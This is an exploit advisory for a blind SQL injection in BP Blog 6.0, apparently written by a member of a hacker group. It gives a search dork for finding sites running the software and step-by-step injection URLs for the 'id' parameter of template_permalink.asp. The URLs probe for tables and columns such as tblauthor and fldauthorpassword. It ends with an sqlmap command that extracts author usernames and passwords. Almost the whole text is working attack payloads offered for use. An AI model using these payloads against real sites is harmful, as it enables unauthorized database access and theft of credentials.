BP Blog 6.0 (id) Remote Blind SQL Injection Vulnerability
JosS, Jose Luis Góngora Fernández Spanish Hackers Team www.spanish-hackers.com [+] Info: [~] Software: bp blog [~] HomePage: http://blog.betaparticle.com/ [~] Exploit: Blind SQL Injection [High] [~] Vuln file: template_permalink.asp [~] Vuln file2: template_archives_cat.asp [~] template_permalink.asp?id=[blind] [~] template_archives_cat.asp?cat=[blind] [~] Bug found by JosS [~] Contact: sys-project[at]hotmail.com [~] Web: http://www.spanish-hackers.com [~] EspSeC & Hack0wn!. [~] Dork: "Powered by bp blog 6.0" [+] Compression: [~] True: http://localhost/[path]/template_permalink.asp?id=78 and 1=1 [~] False: http://localhost/[path]/template_permalink.asp?id=78 and 1=2 [+] Exploding: [*] Checking table: [~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) >= 0 [~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from [TABLE]) [~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) >= 0 [~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from tblauthor) [~] If you don't see any error, it is that table exist. [*] Checking columns number of table: [~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER] [~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) = 1 [~] If you don't see any error, the table has 1 columns. [*] Checking columns of table: [~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0 [~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorpassword) FROM tblauthor) >= 0 [~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorusername) FROM tblauthor) >= 0 [~] If you don't see any error, the column exists. [*] User and password: [~] Exploit: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "text" -e "sql query" [~] Example: ./sqlmap.py -u "http://../template_permalink.asp?id=78"; -p id -a "./txt/user-agents.txt" -v1 --string "bp blog" -e "<SELECT concat(fldauthorusername,0x3a,fldauthorpassword) from tblauthor where 1=1>" _EOF_
